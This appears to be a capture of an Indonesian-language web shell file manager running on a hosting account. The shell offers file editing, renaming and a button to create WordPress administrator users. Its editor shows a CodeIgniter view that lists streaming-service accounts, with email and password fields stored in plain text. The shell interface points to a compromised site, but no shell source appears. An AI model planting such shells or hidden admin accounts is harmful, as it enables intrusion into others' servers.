📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/views/productos
⬅️ Kembali ke folder sebelumnya
📄
index.php
📄
productos.php
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
index.php
productos.php
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: index.php
<?php if ($this->session->userdata('C0n3ct4d0_Usr')) : ?> <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR" || $this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "VENDEDOR") : ?> <script type="text/javascript"> $(document).ready(function() { $("#menu-servicios").addClass("active"); }); </script> <style> .textoGrande { font-size: 35px; } .netflix { color: #de0913; } .spotify { color: #1dd05d; } </style> <div class="page-title-heading"> <img src="<?php echo base_url('assets/images/servicios.png'); ?>" alt="" class="icono-modulo"> <div class="apartado-clientes"> <b class="h5">PRODUCTOS</b> <div class="subtitulo2 apartado-clientes"> Listado de Productos </div> </div> </div> <div class="row my-4" style="margin-top:-20px !important;"> <div class="col text-right"> <a href="<?php echo site_url('servicios/index'); ?>" class="text-uppercase btn-regresar"><i class="fas fa-chevron-left mr-2"></i>Regresar</a> </div> </div> <?php $fechaActual = date("Y-m-d"); ?> <?php $CI = &get_instance(); $CI->load->model('perfil'); $CI->load->model('producto'); ?> <div class="row"> <div class="col-md-12 text-center"> <h3 class="textoGrande <?php if ($servicio->nombre_ser == "Netflix" || $servicio->nombre_ser == "NETFLIX") : ?> netflix <?php endif; ?> <?php if ($servicio->nombre_ser == "Spotify" || $servicio->nombre_ser == "SPOTIFY") : ?> spotify <?php endif; ?> "> <?php echo $servicio->nombre_ser; ?> </h3> </div> </div> <div class="row" style="margin-left: 20px;"> <div class="col-md-3 text-left"> <div id="filtro-estado"></div> </div> </div> <br> <div class="row"> <div class="col-md-12 text-right"> <a id="btnAgregarProductos" href="javascript:void(0);" class="btn btn-principal btn-agregar"> NUEVO <i class="fa fa-plus-circle"></i> </a> </div> </div> <br> <div class="row"> <div class="col-md-12"> <table id="tablaProductos" class="table table-cielo table-hover tbl-buscador"> <thead> <tr> <th class="text-center">#</th> <th class="text-center">CORREO</th> <th class="text-center">CONTRASEÑA</th> <th class="text-center">FECHA VENCIMIENTO</th> <th class="text-center">ESTADO</th> <th class="text-center">PERFILES</th> <th class="text-center">ACCIONES</th> </tr> </thead> <tbody></tbody> </table> <br> <script> $(document).ready(function() { // Agregar botón de filtro $('#filtro-estado').prepend('<select id="estado_filter" class="form-control"><option value="todos">Todos</option><option value="vigente">Vigente</option><option value="por_vencer">Por Vencer</option><option value="vencido">Vencido</option><option value="vendido">Vendido</option></select>'); tablaProductos = $('#tablaProductos').DataTable({ "processing": true, "serverSide": true, 'pageLength': 25, "order": [], 'language': { "lengthMenu": "Mostrar _MENU_ registros", "zeroRecords": "No se encontraron resultados", "info": "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros", "infoEmpty": "Mostrando registros del 0 al 0 de un total de 0 registros", "infoFiltered": "(filtrado de un total de _MAX_ registros)", "sSearch": "Buscar:", "oPaginate": { "sFirst": "Primero", "sLast": "Último", "sNext": "Siguiente", "sPrevious": "Anterior" }, "sProcessing": "Procesando...", }, "autoWidth": false, "ajax": { "url": "<?php echo site_url('productos/getData/'); ?><?php echo $servicio->id_ser; ?>", "type": "POST" }, "columnDefs": [{ "className": "text-center", "targets": "_all", }, { "targets": 4, "orderable": false, "render": function(data, type, full, meta) { if (data == 1) { const fechaActual = new Date(); const fechaString = full[3]; const partesFecha = fechaString.split("/"); const fecha = new Date(partesFecha[2], partesFecha[1] - 1, partesFecha[0]); //Sacando fecha dos dias despues const diaActual = fechaActual.getDate(); //Sumandole dos dias const diaFuturo = diaActual + 2; const fechaFutura = new Date(); fechaFutura.setDate(diaFuturo); //Formateando fecha dd/mm/yyyy if (fecha >= fechaActual) { if (fecha > fechaFutura) { return "<center><div id='semaforo' class='semaforo semaforo-verde text-center'><i class='fa fa-check-circle' aria-hidden='true'></i> VIGENTE</div></center>" } else { return "<center><div id='semaforo' class='semaforo semaforo-amarillo text-center'><i class='fa fa-clock-o' aria-hidden='true'></i> POR VENCER</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> VENCIDO</div></center>" } } else if (data == 0) { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> INACTIVO</div></center>" } else if (data == 2) { return "<center><div id='semaforo' class='semaforo semaforo-morado text-center'><i class='fa fa-truck' aria-hidden='true'></i> VENDIDO</div></center>" } } }, { "targets": 5, "orderable": false, "render": function(data, type, full, meta) { return "<a class='btn-gestionar' href='<?php echo site_url('perfiles/index'); ?>/" + full[0] + "'><i class='fa fa-steam'></i> GESTIONAR PERFILES</a>" } }, { <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : ?> "targets": -1, "defaultContent": "<div class='wrapper text-center'><div class='btn-group'><button class='btn btn-info btn-lg btnEditar' data-toggle='tooltip' title='Editar'><i class='fa fa-pen'></i></button><button class='btn btn-danger btn-sm btnBorrar' data-toggle='tooltip' title='Borrar'> <i class='fa fa-trash'></i> </button></div></div>", <?php else : ?> "targets": -1, "defaultContent": "Sin Acciones", <?php endif; ?> } ] }); $('#estado_filter').on('change', function() { var estado = $(this).val(); if (estado == "vigente") { //Productos Vigentes tablaProductos.destroy(); tablaProductos = $('#tablaProductos').DataTable({ "processing": true, "serverSide": true, 'pageLength': 25, "order": [], 'language': { "lengthMenu": "Mostrar _MENU_ registros", "zeroRecords": "No se encontraron resultados", "info": "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros", "infoEmpty": "Mostrando registros del 0 al 0 de un total de 0 registros", "infoFiltered": "(filtrado de un total de _MAX_ registros)", "sSearch": "Buscar:", "oPaginate": { "sFirst": "Primero", "sLast": "Último", "sNext": "Siguiente", "sPrevious": "Anterior" }, "sProcessing": "Procesando...", }, "autoWidth": false, "ajax": { "url": "<?php echo site_url('productos/getDataVigenteP/'); ?><?php echo $servicio->id_ser; ?>", "type": "POST" }, "columnDefs": [{ "className": "text-center", "targets": "_all", }, { "targets": 4, "orderable": false, "render": function(data, type, full, meta) { if (data == 1) { const fechaActual = new Date(); const fechaString = full[3]; const partesFecha = fechaString.split("/"); const fecha = new Date(partesFecha[2], partesFecha[1] - 1, partesFecha[0]); //Sacando fecha dos dias despues const diaActual = fechaActual.getDate(); //Sumandole dos dias const diaFuturo = diaActual + 2; const fechaFutura = new Date(); fechaFutura.setDate(diaFuturo); //Formateando fecha dd/mm/yyyy if (fecha >= fechaActual) { if (fecha > fechaFutura) { return "<center><div id='semaforo' class='semaforo semaforo-verde text-center'><i class='fa fa-check-circle' aria-hidden='true'></i> VIGENTE </div></center>" } else { return "<center><div id='semaforo' class='semaforo semaforo-amarillo text-center'><i class='fa fa-clock-o' aria-hidden='true'></i> POR VENCER</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> VENCIDO</div></center>" } } else if (data == 0) { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> INACTIVO</div></center>" } else if (data == 2) { return "<center><div id='semaforo' class='semaforo semaforo-morado text-center'><i class='fa fa-truck' aria-hidden='true'></i> VENDIDO</div></center>" } } }, { "targets": 5, "orderable": false, "render": function(data, type, full, meta) { return "<a class='btn-gestionar' href='<?php echo site_url('perfiles/index'); ?>/" + full[0] + "'><i class='fa fa-steam'></i> GESTIONAR PERFILES</a>" } }, { <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : ?> "targets": -1, "defaultContent": "<div class='wrapper text-center'><div class='btn-group'><button class='btn btn-info btn-lg btnEditar' data-toggle='tooltip' title='Editar'><i class='fa fa-pen'></i></button><button class='btn btn-danger btn-sm btnBorrar' data-toggle='tooltip' title='Borrar'> <i class='fa fa-trash'></i> </button></div></div>", <?php else : ?> "targets": -1, "defaultContent": "Sin Acciones", <?php endif; ?> } ] }); }else if(estado == "vencido"){ //Productos Vencidos tablaProductos.destroy(); tablaProductos = $('#tablaProductos').DataTable({ "processing": true, "serverSide": true, 'pageLength': 25, "order": [], 'language': { "lengthMenu": "Mostrar _MENU_ registros", "zeroRecords": "No se encontraron resultados", "info": "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros", "infoEmpty": "Mostrando registros del 0 al 0 de un total de 0 registros", "infoFiltered": "(filtrado de un total de _MAX_ registros)", "sSearch": "Buscar:", "oPaginate": { "sFirst": "Primero", "sLast": "Último", "sNext": "Siguiente", "sPrevious": "Anterior" }, "sProcessing": "Procesando...", }, "autoWidth": false, "ajax": { "url": "<?php echo site_url('productos/getDataVencidoP/'); ?><?php echo $servicio->id_ser; ?>", "type": "POST" }, "columnDefs": [{ "className": "text-center", "targets": "_all", }, { "targets": 4, "orderable": false, "render": function(data, type, full, meta) { if (data == 1) { const fechaActual = new Date(); const fechaString = full[3]; const partesFecha = fechaString.split("/"); const fecha = new Date(partesFecha[2], partesFecha[1] - 1, partesFecha[0]); //Sacando fecha dos dias despues const diaActual = fechaActual.getDate(); //Sumandole dos dias const diaFuturo = diaActual + 2; const fechaFutura = new Date(); fechaFutura.setDate(diaFuturo); //Formateando fecha dd/mm/yyyy if (fecha >= fechaActual) { if (fecha > fechaFutura) { return "<center><div id='semaforo' class='semaforo semaforo-verde text-center'><i class='fa fa-check-circle' aria-hidden='true'></i> VIGENTE </div></center>" } else { return "<center><div id='semaforo' class='semaforo semaforo-amarillo text-center'><i class='fa fa-clock-o' aria-hidden='true'></i> POR VENCER</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> VENCIDO</div></center>" } } else if (data == 0) { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> INACTIVO</div></center>" } else if (data == 2) { return "<center><div id='semaforo' class='semaforo semaforo-morado text-center'><i class='fa fa-truck' aria-hidden='true'></i> VENDIDO</div></center>" } } }, { "targets": 5, "orderable": false, "render": function(data, type, full, meta) { return "<a class='btn-gestionar' href='<?php echo site_url('perfiles/index'); ?>/" + full[0] + "'><i class='fa fa-steam'></i> GESTIONAR PERFILES</a>" } }, { <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : ?> "targets": -1, "defaultContent": "<div class='wrapper text-center'><div class='btn-group'><button class='btn btn-info btn-lg btnEditar' data-toggle='tooltip' title='Editar'><i class='fa fa-pen'></i></button><button class='btn btn-danger btn-sm btnBorrar' data-toggle='tooltip' title='Borrar'> <i class='fa fa-trash'></i> </button></div></div>", <?php else : ?> "targets": -1, "defaultContent": "Sin Acciones", <?php endif; ?> } ] }); }else if(estado=="por_vencer"){ //Productos por vencer tablaProductos.destroy(); tablaProductos = $('#tablaProductos').DataTable({ "processing": true, "serverSide": true, 'pageLength': 25, "order": [], 'language': { "lengthMenu": "Mostrar _MENU_ registros", "zeroRecords": "No se encontraron resultados", "info": "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros", "infoEmpty": "Mostrando registros del 0 al 0 de un total de 0 registros", "infoFiltered": "(filtrado de un total de _MAX_ registros)", "sSearch": "Buscar:", "oPaginate": { "sFirst": "Primero", "sLast": "Último", "sNext": "Siguiente", "sPrevious": "Anterior" }, "sProcessing": "Procesando...", }, "autoWidth": false, "ajax": { "url": "<?php echo site_url('productos/getDataPorVencerP/'); ?><?php echo $servicio->id_ser; ?>", "type": "POST" }, "columnDefs": [{ "className": "text-center", "targets": "_all", }, { "targets": 4, "orderable": false, "render": function(data, type, full, meta) { if (data == 1) { const fechaActual = new Date(); const fechaString = full[3]; const partesFecha = fechaString.split("/"); const fecha = new Date(partesFecha[2], partesFecha[1] - 1, partesFecha[0]); //Sacando fecha dos dias despues const diaActual = fechaActual.getDate(); //Sumandole dos dias const diaFuturo = diaActual + 2; const fechaFutura = new Date(); fechaFutura.setDate(diaFuturo); //Formateando fecha dd/mm/yyyy if (fecha >= fechaActual) { if (fecha > fechaFutura) { return "<center><div id='semaforo' class='semaforo semaforo-verde text-center'><i class='fa fa-check-circle' aria-hidden='true'></i> VIGENTE </div></center>" } else { return "<center><div id='semaforo' class='semaforo semaforo-amarillo text-center'><i class='fa fa-clock-o' aria-hidden='true'></i> POR VENCER</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> VENCIDO</div></center>" } } else if (data == 0) { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> INACTIVO</div></center>" } else if (data == 2) { return "<center><div id='semaforo' class='semaforo semaforo-morado text-center'><i class='fa fa-truck' aria-hidden='true'></i> VENDIDO</div></center>" } } }, { "targets": 5, "orderable": false, "render": function(data, type, full, meta) { return "<a class='btn-gestionar' href='<?php echo site_url('perfiles/index'); ?>/" + full[0] + "'><i class='fa fa-steam'></i> GESTIONAR PERFILES</a>" } }, { <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : ?> "targets": -1, "defaultContent": "<div class='wrapper text-center'><div class='btn-group'><button class='btn btn-info btn-lg btnEditar' data-toggle='tooltip' title='Editar'><i class='fa fa-pen'></i></button><button class='btn btn-danger btn-sm btnBorrar' data-toggle='tooltip' title='Borrar'> <i class='fa fa-trash'></i> </button></div></div>", <?php else : ?> "targets": -1, "defaultContent": "Sin Acciones", <?php endif; ?> } ] }); }else if(estado == "vendido"){ //Productos Vendidos tablaProductos.destroy(); tablaProductos = $('#tablaProductos').DataTable({ "processing": true, "serverSide": true, 'pageLength': 25, "order": [], 'language': { "lengthMenu": "Mostrar _MENU_ registros", "zeroRecords": "No se encontraron resultados", "info": "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros", "infoEmpty": "Mostrando registros del 0 al 0 de un total de 0 registros", "infoFiltered": "(filtrado de un total de _MAX_ registros)", "sSearch": "Buscar:", "oPaginate": { "sFirst": "Primero", "sLast": "Último", "sNext": "Siguiente", "sPrevious": "Anterior" }, "sProcessing": "Procesando...", }, "autoWidth": false, "ajax": { "url": "<?php echo site_url('productos/getDataVendidoP/'); ?><?php echo $servicio->id_ser; ?>", "type": "POST" }, "columnDefs": [{ "className": "text-center", "targets": "_all", }, { "targets": 4, "orderable": false, "render": function(data, type, full, meta) { if (data == 1) { const fechaActual = new Date(); const fechaString = full[3]; const partesFecha = fechaString.split("/"); const fecha = new Date(partesFecha[2], partesFecha[1] - 1, partesFecha[0]); //Sacando fecha dos dias despues const diaActual = fechaActual.getDate(); //Sumandole dos dias const diaFuturo = diaActual + 2; const fechaFutura = new Date(); fechaFutura.setDate(diaFuturo); //Formateando fecha dd/mm/yyyy if (fecha >= fechaActual) { if (fecha > fechaFutura) { return "<center><div id='semaforo' class='semaforo semaforo-verde text-center'><i class='fa fa-check-circle' aria-hidden='true'></i> VIGENTE </div></center>" } else { return "<center><div id='semaforo' class='semaforo semaforo-amarillo text-center'><i class='fa fa-clock-o' aria-hidden='true'></i> POR VENCER</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> VENCIDO</div></center>" } } else if (data == 0) { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> INACTIVO</div></center>" } else if (data == 2) { return "<center><div id='semaforo' class='semaforo semaforo-morado text-center'><i class='fa fa-truck' aria-hidden='true'></i> VENDIDO</div></center>" } } }, { "targets": 5, "orderable": false, "render": function(data, type, full, meta) { return "<a class='btn-gestionar' href='<?php echo site_url('perfiles/index'); ?>/" + full[0] + "'><i class='fa fa-steam'></i> GESTIONAR PERFILES</a>" } }, { <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : ?> "targets": -1, "defaultContent": "<div class='wrapper text-center'><div class='btn-group'><button class='btn btn-info btn-lg btnEditar' data-toggle='tooltip' title='Editar'><i class='fa fa-pen'></i></button><button class='btn btn-danger btn-sm btnBorrar' data-toggle='tooltip' title='Borrar'> <i class='fa fa-trash'></i> </button></div></div>", <?php else : ?> "targets": -1, "defaultContent": "Sin Acciones", <?php endif; ?> } ] }); }else{ //TODOS tablaProductos.destroy(); tablaProductos = $('#tablaProductos').DataTable({ "processing": true, "serverSide": true, 'pageLength': 25, "order": [], 'language': { "lengthMenu": "Mostrar _MENU_ registros", "zeroRecords": "No se encontraron resultados", "info": "Mostrando registros del _START_ al _END_ de un total de _TOTAL_ registros", "infoEmpty": "Mostrando registros del 0 al 0 de un total de 0 registros", "infoFiltered": "(filtrado de un total de _MAX_ registros)", "sSearch": "Buscar:", "oPaginate": { "sFirst": "Primero", "sLast": "Último", "sNext": "Siguiente", "sPrevious": "Anterior" }, "sProcessing": "Procesando...", }, "autoWidth": false, "ajax": { "url": "<?php echo site_url('productos/getData/'); ?><?php echo $servicio->id_ser; ?>", "type": "POST" }, "columnDefs": [{ "className": "text-center", "targets": "_all", }, { "targets": 4, "orderable": false, "render": function(data, type, full, meta) { if (data == 1) { const fechaActual = new Date(); const fechaString = full[3]; const partesFecha = fechaString.split("/"); const fecha = new Date(partesFecha[2], partesFecha[1] - 1, partesFecha[0]); //Sacando fecha dos dias despues const diaActual = fechaActual.getDate(); //Sumandole dos dias const diaFuturo = diaActual + 2; const fechaFutura = new Date(); fechaFutura.setDate(diaFuturo); //Formateando fecha dd/mm/yyyy if (fecha >= fechaActual) { if (fecha > fechaFutura) { return "<center><div id='semaforo' class='semaforo semaforo-verde text-center'><i class='fa fa-check-circle' aria-hidden='true'></i> VIGENTE</div></center>" } else { return "<center><div id='semaforo' class='semaforo semaforo-amarillo text-center'><i class='fa fa-clock-o' aria-hidden='true'></i> POR VENCER</div></center>" } } else { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> VENCIDO</div></center>" } } else if (data == 0) { return "<center><div id='semaforo' class='semaforo semaforo-rojo text-center'><i class='fa fa-ban' aria-hidden='true'></i> INACTIVO</div></center>" } else if (data == 2) { return "<center><div id='semaforo' class='semaforo semaforo-morado text-center'><i class='fa fa-truck' aria-hidden='true'></i> VENDIDO</div></center>" } } }, { "targets": 5, "orderable": false, "render": function(data, type, full, meta) { return "<a class='btn-gestionar' href='<?php echo site_url('perfiles/index'); ?>/" + full[0] + "'><i class='fa fa-steam'></i> GESTIONAR PERFILES</a>" } }, { <?php if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : ?> "targets": -1, "defaultContent": "<div class='wrapper text-center'><div class='btn-group'><button class='btn btn-info btn-lg btnEditar' data-toggle='tooltip' title='Editar'><i class='fa fa-pen'></i></button><button class='btn btn-danger btn-sm btnBorrar' data-toggle='tooltip' title='Borrar'> <i class='fa fa-trash'></i> </button></div></div>", <?php else : ?> "targets": -1, "defaultContent": "Sin Acciones", <?php endif; ?> } ] }); } }); }); </script> </div> </div> <br><br> </section> <?php else : ?> <?php redirect(base_url('index.php/panel/index')); ?> <?php endif; ?> <?php else : ?> <?php redirect(base_url('index.php/login/login')); ?> <?php endif; ?> <!--Modal para CRUD--> <div class="modal fade" id="modalCRUD" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel"></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form id="formProductos" enctype="multipart/form-data"> <div class="row"> <div class="col-md-6 form-group"> <label for="correo_pro" class="elemento"><b>CORREO:</b></label><br><br> <input id="correo_pro" class="form-control mi-input" placeholder="Ingrese el correo del producto" type="text" name="correo_pro"> </div> <div class="col-md-6 form-group"> <label for="password_pro" class="elemento"><b>CONTRASEÑA:</b></label><br><br> <input id="password_pro" class="form-control mi-input" placeholder="Ingrese la contraseña del producto" type="text" name="password_pro"> </div> </div> <br> <div class="row"> <div class="col-md-6 form-group"> <label for="fecha_vencimiento_pro" class="elemento"><b>FECHA DE VENCIMIENTO:</b></label><br><br> <input id="fecha_vencimiento_pro" class="form-control mi-input" placeholder="Ingresa el correo del cliente" type="date" name="fecha_vencimiento_pro"> </div> <div class="contenedor-estadoProducto" style="display: none;"> <div class="col-md-12 form-group"> <label for="estado_pro" class="elemento"><b>ESTADO:</b></label><br><br> <select name="estado_pro" class="form-control mi-input" id="estado_pro"> <option value="1">ACTIVO</option> <option value="0">INACTIVO</option> <option value="2">VENDIDO</option> </select> </div> <br> </div> </div> <br> <div class="row"> <div class="col-md-12 text-center"> <div class="modal-footer"> <button type="button" class="btn btn-secundario" data-dismiss="modal">Cancelar</button> <button type="submit" class="btn btn-principal">Guardar</button> </div> </div> </div> </form> </div> </div> </div> </div> <!-- JS CRUD --> <script> var fila; //Enviar Formulario $("#formProductos").submit(function(e) { e.preventDefault(); correo_pro = $.trim($("#correo_pro").val()); password_pro = $.trim($("#password_pro").val()); fecha_vencimiento_pro = $.trim($("#fecha_vencimiento_pro").val()); estado_pro = $.trim($("#estado_pro").val()); fk_id_ser = <?php print_r($servicio->id_ser); ?>; if ($(this).valid()) { $.ajax({ url: "<?php echo site_url('productos/CRUD'); ?>", type: "POST", datatype: "json", data: { id_pro: id_pro, correo_pro: correo_pro, password_pro: password_pro, fecha_vencimiento_pro: fecha_vencimiento_pro, estado_pro: estado_pro, fk_id_ser: fk_id_ser, opcionCrud: opcionCrud, }, success: function(data) { tablaProductos.ajax.reload(null, false); }, }); Swal.fire( '¡Buen trabajo!', 'Producto agregado o modificado correctamente.', 'success' ) } else { Swal.fire({ icon: 'error', title: 'Oops...', text: 'Producto no agregado o no modificado, verifica y llena todos los campos solicitados.', }) } $("#modalCRUD").modal("hide"); }); //Agregar $("#btnAgregarProductos").click(function() { $('.contenedor-estadoProducto').css('display', 'none'); id_pro = null; opcionCrud = 1; //alta $("#formProductos").trigger("reset"); $(".modal-title").text("Agregar Producto"); $("#modalCRUD").modal("show"); }); //Editar $(document).on('click', ".btnEditar", function() { $('.contenedor-estadoProducto').fadeIn(); opcionCrud = 2; //alta fila = $(this).closest("tr"); id_pro = parseInt(fila.find('td:eq(0)').text()); //captura la ID correo_pro = fila.find('td:eq(1)').text(); password_pro = fila.find('td:eq(2)').text(); fecha_vencimiento_pro = fila.find('td:eq(3)').text(); var fecha_formateada = fecha_vencimiento_pro.split("/").reverse().join("-"); estado_pro = fila.find('td:eq(4)').text(); console.log(estado_pro); $("#correo_pro").val(correo_pro); $("#password_pro").val(password_pro); $("#fecha_vencimiento_pro").val(fecha_formateada); if ($.trim(estado_pro) == "VIGENTE" || $.trim(estado_pro) == "POR VENCER") { $("#estado_pro option[value=1]").attr("selected", true); $("#estado_pro option[value=0]").show(); $("#estado_pro option[value=2]").hide(); } if ($.trim(estado_pro) == "VENDIDO") { $("#estado_pro option[value=1]").hide(); $("#estado_pro option[value=0]").hide(); $("#estado_pro option[value=2]").attr("selected", true); } if ($.trim(estado_pro) == "VENCIDO") { $("#estado_pro option[value=0]").attr("selected", true); $("#estado_pro option[value=1]").show(); $("#estado_pro option[value=2]").hide(); } $(".modal-title").text("Editar Producto"); $("#modalCRUD").modal('show'); }); //borrar $(document).on("click", ".btnBorrar", function() { fila = $(this); id_pro = parseInt($(this).closest("tr").find("td:eq(0)").text()); opcionCrud = 3; //eliminar Swal.fire({ title: '¿Estás seguro?', text: "¡No podrás revertir esto!", icon: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: '¡Sí, elimínalo!' }).then((result) => { if (result.isConfirmed) { $.ajax({ url: "<?php echo site_url('productos/CRUD'); ?>", type: "POST", datatype: "json", data: { opcionCrud: opcionCrud, id_pro: id_pro }, success: function() { tablaProductos.row(fila.parents("tr")).remove().draw(); } }); Swal.fire( '¡Buen trabajo!', 'En caso de que no se haya eliminado <b>porfavor primero elimina los perfiles de este producto</b>.', 'success' ) } }) }); </script> <script> $("#formProductos").validate({ rules: { 'correo_pro': { required: true }, 'password_pro': { required: true, }, 'fecha_vencimiento_pro': { required: true } }, messages: { 'correo_pro': { required: 'Campo obligatorio: Ingrese el correo del producto' }, 'password_pro': { required: 'Campo obligatorio: Ingrese la contraseña del producto', }, 'fecha_vencimiento_pro': { required: 'Campo obligatorio: Seleccione la fecha de vencimiento del producto', } } }); </script>
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup